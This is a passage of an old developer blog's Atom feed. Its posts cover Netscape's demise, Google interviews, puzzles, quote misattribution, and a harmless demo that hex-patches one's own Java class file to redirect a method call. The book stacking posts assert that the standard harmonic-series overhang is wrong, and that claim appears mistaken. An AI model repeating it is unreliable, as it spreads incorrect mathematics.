Navigator.&lt;br /&gt;You can find the &lt;a href="http://blog.netscape.com/2007/12/28/end-of-support-for-netscape-web-browsers/"&gt;original announcement here.&lt;/a&gt; It has already been filled with comments.&lt;br /&gt;&lt;br /&gt;Indeed, this is huge news. I mean, ok, we already knew that Netscape did have a tiny percent of Internet users, but it cannot be doubted that Netscape has been one if the  &lt;span style="font-weight: bold;"&gt;most innovative software companies&lt;/span&gt; and that the Navigator is 'responsible' for the massive explosion of the Web. An amazing variety of technologies were first explored by Netscape: &lt;span style="font-weight: bold;"&gt;SSL &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;Javascript &lt;/span&gt;are some of them. One clue, it is &lt;span style="font-weight: bold;"&gt;top in the &lt;a href="http://www.pcworld.com/article/id,130207-page,1/article.html?tk=pr_50besttech"&gt;PC World's List of 50 best Tech Programs.&lt;/a&gt;&lt;/span&gt; In an era when only a few people were actually aware of the so-called World Wide Web, in a period during which even Microsoft was too busy with &lt;span style="font-style: italic;"&gt;productivity software, &lt;/span&gt;actually overlooking Internet opportunities and considering it a 'fad', it was Netscape Communications that created the definition of the "killer app".&lt;br /&gt;&lt;br /&gt; The actual story of Netscape is also fascinating (The great browser battle, Navigator vs. Explorer is now history), including stock gain records, mythical quarterly revenues, innovations, trials and many other leading to the decadence and death. You can find a very nice article &lt;a href="http://www.eweek.com/article2/0,1895,2242788,00.asp"&gt;here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-993496897759692421?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/993496897759692421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=993496897759692421' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/993496897759692421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/993496897759692421'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/netscape-navigator-1994-2008.html' title='Netscape Navigator  (1994-2008)'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4397992149005276443</id><published>2007-12-26T23:47:00.000-08:00</published><updated>2008-06-05T01:11:24.377-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Interviews Part I- Questions and more</title><content type='html'>This is a summary of my own experience on interviewing in Google. The process went quite well and lasted for about 40 days. I had 4 phone interviews and then they flew me to the Google Site I had applied to. I had 5 on-site interviews, quite stressful and lengthy to finally reach the bitter end 3 days later, when I was informed that I had the potentials but not matched to the exact expectations of the position.&lt;br /&gt;&lt;br /&gt;Either you are into computers, or you are having your own interviews with Google or other major software company or you are just curious, you might find this topic to be at least interesting. Later I will reveal many of the questions they asked me but for what follows I will give my own summary view of this process.&lt;br /&gt;&lt;br /&gt;I am sure you have heard for 'weird puzzles' or 'crazy questions' during the interviews (for example &lt;span style="font-style: italic;"&gt;how many golf balls fit into a school bus? or how many piano tuners are there in the world?&lt;/span&gt;). Well, all these are &lt;span style="font-weight: bold;"&gt;total nonsense&lt;/span&gt;. Google is all about algorithms (Well at least the searhing-Google). If you are planning of preparing for interviews some textbooks on the subject might be a good start. Another good advice would be to check out the data structures and algorithms library available in the programming language of your choice (for example &lt;span style="font-weight: bold;"&gt;Java Collections Framework&lt;/span&gt; or &lt;span style="font-weight: bold;"&gt;.NET Collections package&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;But &lt;span style="font-weight: bold;"&gt;don't &lt;/span&gt;be scared. Googlers are not creatures with extra-terrestrial intelligence. You will talk to people that are great scientists but also to people that are not. You will talk to engineers that honor their title but also to others that are merely mediocre programmers. Google is now a big company and this is inevitable. You will understand what I mean if you keep on reading the next blog posts.&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, a few quick tips would be:&lt;br /&gt;1. Have a strong understanding of algorithms&lt;br /&gt;2. Have a mastery on programming and especially the libraries available (collections)&lt;br /&gt;3. Be calm and inspire confidence&lt;br /&gt;4. Goto 1&lt;br /&gt;&lt;br /&gt;These 4 advices are fairly general. You can customize it further for the Google case. For example since Google is a search company you should consider fair questions regarding Regular Expressions.&lt;br /&gt;&lt;br /&gt;In summary, it has been a really unique experience. Google is really a great company and probably the best place for software engineers (too bad I couldn't see it my self). During the on-site interviews I had the chance to launch at the in-Google restaurant, which was really amazing, providing dishes literally for any kind of diet. You will also talk to interesting people and if lucky you will meet some of them and talk about subjects you are keen on. It is a challenge worth taking and be prepared to deal with all possible outcomes.&lt;br /&gt;&lt;br /&gt;In later blog posts I will give out the entire set of questions they asked me during the interviews. You can find the &lt;a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html"&gt;1st Google Interview here.&lt;/a&gt;I have recorded more than 20 questions but unfortunately I am not free to disclose the questions I was asked on site (I am bound to an NDA-Non Disclosure Agreement) Till then, enjoy your holidays!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4397992149005276443?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/4397992149005276443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=4397992149005276443' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4397992149005276443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4397992149005276443'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/12/google-interviews-part-i-summary.html' title='Google Interviews Part I- Questions and more'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3447850681451633647</id><published>2007-12-18T09:51:00.000-08:00</published><updated>2007-12-18T10:15:47.709-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><title type='text'>BookStackingProblem.java</title><content type='html'>package algorithms.puzzles;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; *&lt;br /&gt; * @author panefsky&lt;br /&gt; */&lt;br /&gt;public class BookStackingProblem {&lt;br /&gt;    &lt;br /&gt;    private int N; &lt;span style="font-style:italic;"&gt;//the number of books&lt;/span&gt;&lt;br /&gt;    private double[] X; &lt;span style="font-style:italic;"&gt;//it is the overhang of the //i-th book beginning from the top&lt;/span&gt;&lt;br /&gt;   &lt;span style="font-style:italic;"&gt; /** Creates a new instance of BookStackingProblem */&lt;br /&gt;&lt;br /&gt;    // Input n is the number of books we wish to put on the edge&lt;/span&gt;&lt;br /&gt;    public BookStackingProblem(int n) {&lt;br /&gt;        N=n;&lt;br /&gt;          X=new double[N+1];&lt;br /&gt;          X[0]=0;&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;    &lt;br /&gt;    public void solve() {&lt;br /&gt;        &lt;br /&gt;        System.out.println("Solving...");&lt;br /&gt;        for(int i=1;i&lt;=N;i++)&lt;br /&gt;                calculateRoot(i);&lt;br /&gt;        &lt;br /&gt;        double Length=0;&lt;br /&gt;        for(int i=1;i&lt;=N;i++)&lt;br /&gt;        {&lt;br /&gt;            System.out.println("x["+i+"] = "+X[i]);&lt;br /&gt;            Length+=X[i];&lt;br /&gt;        }&lt;br /&gt;System.out.println("\nTotal overhang for "+N+" books is "+Length+"\n");&lt;br /&gt;        &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-style:italic;"&gt;/* The helper function.It holds for g(x) that&lt;br /&gt;g(x) = {  &lt;br /&gt;           -1, if x&lt;0&lt;br /&gt;           2x-1, if 0&lt;=x&lt;1,&lt;br /&gt;             1 ,  if x&gt;=1 &lt;br /&gt;         }*/&lt;/span&gt;&lt;br /&gt;    private double g(double x) {&lt;br /&gt;        &lt;br /&gt;        if(x&lt;0) return -1;&lt;br /&gt;        else if(x&gt;1) return 1;&lt;br /&gt;        else return 2*x-1;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;   &lt;span style="font-style:italic;"&gt;/* This is the sum function. It holds that&lt;br /&gt; G(x[n])+G(x[n]+x[n-1])+...+G(x[n]+x[n-1]+...+x[1]) = 0 and this is how we calculate x[n] based on previous x values.*/&lt;/span&gt;&lt;br /&gt;    private double G(double x,int n) {&lt;br /&gt;        &lt;br /&gt;        double s=0;&lt;br /&gt;        double arg = x;&lt;br /&gt;        s = g(arg);&lt;br /&gt;        &lt;br /&gt;        for(int i=1;i&lt;=n-1;i++)&lt;br /&gt;        {&lt;br /&gt;           &lt;br /&gt;            arg+= X[n-i];&lt;br /&gt;             s+=g(arg);&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        return s;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;   &lt;span style="font-style:italic;"&gt;/* Calculate the solution to the G-equation. It is easy to prove that the G-equation is a function of x that is increasing in [0,1] This is why we can use bisection method for finding roots*/ &lt;/span&gt;&lt;br /&gt;    private void calculateRoot(int n) {&lt;br /&gt;        &lt;br /&gt;        double a=0;&lt;br /&gt;        double b=1;&lt;br /&gt;        double e=0.000001;&lt;br /&gt;       double root = (a+b)/2;&lt;br /&gt;       double value;&lt;br /&gt;       do {&lt;br /&gt;           root = (a+b)/2;&lt;br /&gt;          value = G(root,n);&lt;br /&gt;           if(value&lt;0) a  = root;&lt;br /&gt;           else b=root;&lt;br /&gt;       } &lt;br /&gt;       while (Math.abs(value)&gt;e) ;&lt;br /&gt;        &lt;br /&gt;        X[n] = root;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Output:&lt;/span&gt;&lt;br /&gt;If compiled and run properly and if we choose to solve for N=10 books, we will get the following output from the program:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;Solving...&lt;br /&gt;x[1] = 0.5&lt;br /&gt;x[2] = 0.25&lt;br /&gt;x[3] = 0.16666650772094727&lt;br /&gt;x[4] = 0.13888883590698242&lt;br /&gt;x[5] = 0.125&lt;br /&gt;x[6] = 0.10000014305114746&lt;br /&gt;x[7] = 0.08333325386047363&lt;br /&gt;x[8] = 0.07142853736877441&lt;br /&gt;x[9] = 0.0625&lt;br /&gt;x[10] = 0.06222724914550781&lt;br /&gt;&lt;br /&gt;Total overhang for 10 books is 1.560044527053833&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;This means that starting from the top, the first book should be moved by 0.5 units, the second book by 0.25 units and so on. Notice that the 4th book should be moved by 0.1388 units  = 5/36 and not by 1/8 as derived from Wikipedia or Mathworld. It is interesting though if run for many books, the x-sequence is likely to have infinite terms that also occur in the harmonic series (e.g. notice x[5] which is 1/8 or x[9] which is 1/16) But generally x[n] &gt; 1/2n which is why the length is greater than the half of the sum of the harmonic series. (Mathworld's solution)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3447850681451633647?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/3447850681451633647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=3447850681451633647' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3447850681451633647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3447850681451633647'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/12/bookstackingproblemjava.html' title='BookStackingProblem.java'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3834237648592119393</id><published>2007-12-17T17:20:00.000-08:00</published><updated>2008-12-09T07:12:08.665-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='puzzles'/><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><title type='text'>The Book Stacking Problem - Wikipedia and Mathworld Got It Wrong</title><content type='html'>The book stacking problem is a simple problem stated as such:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Consider you have &lt;span style="font-weight:bold;"&gt;n&lt;/span&gt; identical books. Their density is uniform and the length is equal to 1. What is the maximum overhang that can be achieved when put as a pile at the edge of the table?"&lt;/span&gt; Wikipedia has an entry for it as a &lt;a href="http://en.wikipedia.org/wiki/Block_stacking_problem"&gt;block stacking problem&lt;/a&gt; while Mathworld has an entry as the &lt;a href="http://mathworld.wolfram.com/BookStackingProblem.html"&gt;book stacking problem &lt;/a&gt; but &lt;span style="font-weight:bold;"&gt;both are repeating a wrong result.&lt;/span&gt; You can directly jump to the source code written in Java to show why their results are wrong by following &lt;a href="http://developeronline.blogspot.com/2007/12/bookstackingproblemjava.html"&gt;this link.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mathforum.org/advanced/robertd/book313.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px;" src="http://mathforum.org/advanced/robertd/book313.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;It is easy to recreate the solution for this problem, if we think inductively and solve for the n-case based on the n-1 solution. Start with a stack of n books all as a pile on the table. We drag the top until we reach the maximum overhang. This is clearly 1/2. We then drag the book below the top book and drag it until we have &lt;span style="font-style:italic;"&gt;edge balance.&lt;/span&gt; We can easily verify that we should drag it for 1/4 units. For the 2 books on the right side we have (1/4)+(1/2+1/4)= 1 and the left side (1-1/4)+(1-1/2-1/4) = 1. So, our construction is balanced. If we continue the same reasoning we can arrive at the conclusion that the maximum overhang  of n books, is Ln = 1/2+1/4+1/6+...+1/2n = 1/2*Hn where Hn is the Harmonic series. &lt;span style="font-weight:bold;"&gt;This is the result stated both in Wikipedia and Mathworld. But this is &lt;span style="font-weight:bold;"&gt;wrong.&lt;/span&gt; Their result fails early, even for the case when we have 4 books and then is always wrong.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Not to spoil the fun, I will not give the complete mathematical proof, but it is slightly easy to produce the model for the solution. These can be represented by the solution of the following system of equations.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R4IXgOOM3KI/AAAAAAAAAAk/TvsiRl5WGdg/s1600-h/bookstacking.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R4IXgOOM3KI/AAAAAAAAAAk/TvsiRl5WGdg/s320/bookstacking.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5152706766006181026" /&gt;&lt;/a&gt;&lt;br /&gt;You can test the validity of the equations for the case when n=4. In this case, the maximum overhang is a little longer than 1/2*H4. Is is actually equal to L4 = 1/2+1/4+1/6+5/36. To explain, imagine we have put the 3 books in the right places and we begin sliding the bottom 4th book. At the beginning the 3 books above are balanced. So the right side has 1.5 weight units and the left has 1.5+1 = 2.5 because the bottom is all in the left side &lt;span style="font-style:italic;"&gt;(Right side is the side on the right of the table edge and an analogous definition holds the left side)&lt;/span&gt;. When sliding, for every &lt;span style="font-style:italic;"&gt;x&lt;/span&gt; length units the right side has 1.5+4x and the left side has 2.5-4x. So, at balance, it should be 2.5-4x = 1.5+4x -&gt; x= 1/8. Right? &lt;span style="font-weight:bold;"&gt;Wrong!&lt;/span&gt; This is because the top book has on the right side, a part of length 1/2+1/4+1/6 at the beginning, so it needs only to be moved 1/12 length units to be entirely on the right side. By this point, sliding by x gives &lt;span style="font-weight:bold;"&gt;3x&lt;/span&gt; weight units to the right side, because the top is entirely on the right. So, making a hypothesis that no other book gets entirely to the right, we now solve correctly by the equation 2.5-4*(1/12)-3x = 1.5+4*(1/12)+3x =&gt; 6x = 1/3 =&gt; x = 1/18 Now verify that our hypothesis was true and add 1/12+1/18 = 5/36 which gives the length units we have to slide the 4th bottom nook to get the maximum overhang.&lt;br /&gt;&lt;br /&gt;So, &lt;span style="font-weight:bold;"&gt;both Mathworld and Wikipedia both give incorrect solutions for the problem&lt;/span&gt; and actually they give an Ω function for the maximum overhang. The actual maximum overhang cannot be easily computed since it has to do with the points where the harmonic raises its integral part.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3834237648592119393?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/3834237648592119393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=3834237648592119393' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3834237648592119393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3834237648592119393'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/12/book-stacking-problem.html' title='The Book Stacking Problem - Wikipedia and Mathworld Got It Wrong'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R4IXgOOM3KI/AAAAAAAAAAk/TvsiRl5WGdg/s72-c/bookstacking.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-1813975327014411805</id><published>2007-12-12T03:33:00.000-08:00</published><updated>2008-04-06T02:09:38.710-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Information Pollution</title><content type='html'>We all use the Web in order to get the information we need. And we have convinced ourselves that in the Web we will find anything we want. But, since anyone could be able to make a web page or blog like this, and since this could be my idiot neighbor, how &lt;span style="font-style: italic;"&gt;weird&lt;/span&gt; would it sound, if I told that I am kind of worried about information value?&lt;br /&gt;&lt;br /&gt;Make a simple test. I was recently contemplating about one quote which as far as I could remember was said by Albert Einstein : &lt;span style="font-style: italic;"&gt;"Education is what is left after you've forgotten everything you've learned."&lt;/span&gt; Although I was almost certain that Einstein had said it, I was curious to find what the Web would present as the author. So I made a Google search: &lt;span style="font-style: italic;"&gt;education is what is left *&lt;/span&gt; The asterisk (*) is a Google search option, something like telling the machine to fill the gap.&lt;br /&gt;&lt;br /&gt;The search results are disappointing:&lt;br /&gt;The top four (4) results of our top search engine (Google, by usage statistics) attributes the quote to &lt;span style="font-weight: bold;"&gt;four different persons!!&lt;/span&gt;&lt;br /&gt;Result #1:&lt;br /&gt;Site: &lt;a href="http://cee.carleton.ca/ECL/workshop/destools.html"&gt;Carletton University, Ottawa Canada&lt;/a&gt; states that the quote was said by an &lt;span style="font-style: italic;"&gt;Anonymous&lt;/span&gt; person.&lt;br /&gt;&lt;br /&gt;Result #2&lt;br /&gt;Site: &lt;a href="http://two-perfect.blogspot.com/2007/09/orientation-second-day.html"&gt;A personal blog&lt;/a&gt; states the quote to be said by &lt;span style="font-style: italic;"&gt;Einstein&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Result #3&lt;br /&gt;Site: &lt;a href="http://www.le.ac.uk/engassoc/gst.htm"&gt;University of Leicester&lt;/a&gt; has a page with the following passage :&lt;span style="font-style: italic;"&gt;[..]Ezra Pound said that education is what is left behind when we have forgotten everything we set out to learn. What would you..&lt;/span&gt; attributing the quote to some Ezra Pound(?)&lt;br /&gt;&lt;br /&gt;Result #4&lt;br /&gt;Site: Finally the &lt;a href="http://web.utk.edu/%7Epmark/"&gt;personal page&lt;/a&gt; of a professor of Mathematics in the University of Tennessee, mentions rigorously the quote in the title and then attributes it to ...Mark Twain!!&lt;br /&gt;&lt;br /&gt;Here we are:&lt;br /&gt;One quote and..4 authors in 4 top search results : Anonymous, Einstein, Pound, Twain!!&lt;br /&gt;&lt;br /&gt;Now this is what I call Information Pollution. You read a web page, but you have no idea how qualified is its author and how valuable is the content. Now, given that Einstein actually said the quote, the problem becomes much more worrying if we simply look back to the test results: Three university pages wrong and one blog page right!&lt;br /&gt;Is this a slight manifestation of an ongoing phenomenon?&lt;br /&gt;Is it going to be worse?&lt;br /&gt;Is it accidental?&lt;br /&gt;Don't know but sure it will be fun finding out.&lt;br /&gt;Interestingly enough, I recently became aware that Wikipedia creator is planning to create a search engine based on human evaluation over the content. Who knows, an interesting 'battle' may begin. After all, machines are great at calculating metrics to evaluate web pages' content but there is no match to the human judgment.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-1813975327014411805?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/1813975327014411805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=1813975327014411805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1813975327014411805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1813975327014411805'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/12/information-pollution-in-web.html' title='Information Pollution'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3312271227650778917</id><published>2007-11-19T02:47:00.000-08:00</published><updated>2007-12-12T11:54:19.259-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Hacking Java I</title><content type='html'>Well Java is said to be safe since JVM commonly takes care of everything (loading, resolution and so on). Actually it is. However this does not mean that Java is safe from careless usage.When JVM loads a class file, it does not take for granted that it was produced by some kind of Java compiler. It actually is interested in checking its file format.This process is known as &lt;span style="font-weight:bold;"&gt;bytecode verification&lt;/span&gt; and it is supposed to prevent from invoking code that seems to be messed up.&lt;br /&gt;&lt;br /&gt;Whatever class fails the verification it is really a bad Java class. But this does not mean that classes that pass it are ok.&lt;br /&gt;&lt;br /&gt;To demonstrate this I am going to develop a useful but harmless example to test a case where we compile Java source code and subsequently we deform the class file to alter its functionality.&lt;br /&gt;&lt;br /&gt;Here is the code...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;public class JavaHack {&lt;br /&gt;&lt;br /&gt;  public static void main(String[] args){&lt;br /&gt;&lt;br /&gt;  int a=6;&lt;br /&gt;  int b = DivideBy2(a);&lt;br /&gt;  int c = DivideBy3(a);&lt;br /&gt;  System.out.println(""+a+"/2 = "+b);&lt;br /&gt;  System.out.println(""+a+"/3 = "+c);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  public static int DivideBy2(int i) {return i/2;}&lt;br /&gt;  public static int DivideBy3(int j) {return j/3;}&lt;br /&gt;    &lt;br /&gt;  } &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If compiled and run successfully we will finally get the output:&lt;br /&gt;6/2=3&lt;br /&gt;6/3=2&lt;br /&gt;&lt;br /&gt;Now use a Hex editor, like &lt;a href="http://www.mh-nexus.de/"&gt;HxD Editor&lt;/a&gt;.&lt;br /&gt;Open the JavaHack class with the editor and search for the sequence: &lt;span style="font-style:italic;"&gt;0xB8 0x00 0x02 0x3D 0x1B ...&lt;/span&gt; and alter 0x02 byte to 0x03.&lt;br /&gt;Then &lt;span style="font-weight:bold;"&gt;immediately(no more compilation)&lt;/span&gt; run the JavaHack class. The output will be:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6/2=2 (!)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6/3=2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The function DivideBy2 seems to be returning wrong results. What is actually going on is that we do not call this method any more. To explain, every method has an index into the &lt;span style="font-style:italic;"&gt;method table&lt;/span&gt; in the class file. The DivideBy2 has id 2 and DivideBy3 has id 3. The sequence 0xB8 0x00 0x02 is actually &lt;span style="font-style:italic;"&gt;invokestatic #2&lt;/span&gt; in JVM code, meaning that it invokes the static method with id 2. Changing the value 0x02 to 0x03 actually calls the function DivideBy3, which eventually is called twice!! This explains the strange result of the modified class file.&lt;br /&gt;&lt;br /&gt;The example can be easily extended and generalized to create more complex hacks (e.g.  find out values of un-initialized variables and so on)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3312271227650778917?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/3312271227650778917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=3312271227650778917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3312271227650778917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3312271227650778917'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/11/hacking-java-i.html' title='Hacking Java I'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4505471142891752714</id><published>2007-11-07T22:39:00.000-08:00</published><updated>2008-01-24T10:19:41.681-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='puzzles'/><title type='text'>"The Perfect Logicians" Puzzle</title><content type='html'>Puzzles of any kind (mathematical, logic etc) is certainly a way to kill some time. It also can be a very efficient and clear way to test your abilities in dealing with complex situations and developing the proper solutions.&lt;br /&gt;&lt;br /&gt;Personally I have often found myself derailing from my everyday routine, struggling to solve such problems. My favorites are the kind where the problem is easily stated (some lines), resists hard to usual thinking but surrenders easily to a different but also ingenious approach.&lt;br /&gt;Enjoy!&lt;br /&gt;&lt;br /&gt;The problem can be stated as follows.&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;We have two integers, say &lt;span style="font-style: italic;"&gt;α &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;β, &lt;/span&gt;for which it is known that &lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt; β&gt;α&gt;1&lt;/span&gt;  and &lt;span style="font-style: italic;"&gt;α+β&lt;100&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;There are two perfect logicians, say &lt;span style="font-style: italic;"&gt;P &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;S&lt;/span&gt;.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;P &lt;/span&gt;is given the product of the numbers and &lt;span style="font-style: italic;"&gt;S &lt;/span&gt;is given the sum of them.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;P &lt;/span&gt;calls &lt;span style="font-style: italic;"&gt;S &lt;/span&gt;on the phone and a short conversation follows:&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;P&lt;/span&gt;: I cannot find the numbers...&lt;br /&gt;&lt;span&gt;S&lt;/span&gt;: I knew that.&lt;br /&gt;&lt;span&gt;P&lt;/span&gt;: Hmm..Now I can!&lt;br /&gt;&lt;span&gt;S&lt;/span&gt;: Well, now I can find them too!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Can you find the numbers?&lt;br /&gt;&lt;span style="font-style: italic;"&gt;(Use of computer programming is advised!)&lt;/span&gt;&lt;br /&gt;&lt;a&gt;&lt;b&gt;&lt;b&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;You can find a solution to &lt;a href="http://developeronline.blogspot.com/2008/01/importance-of-being-elegant.html"&gt;the perfect logicians puzzle 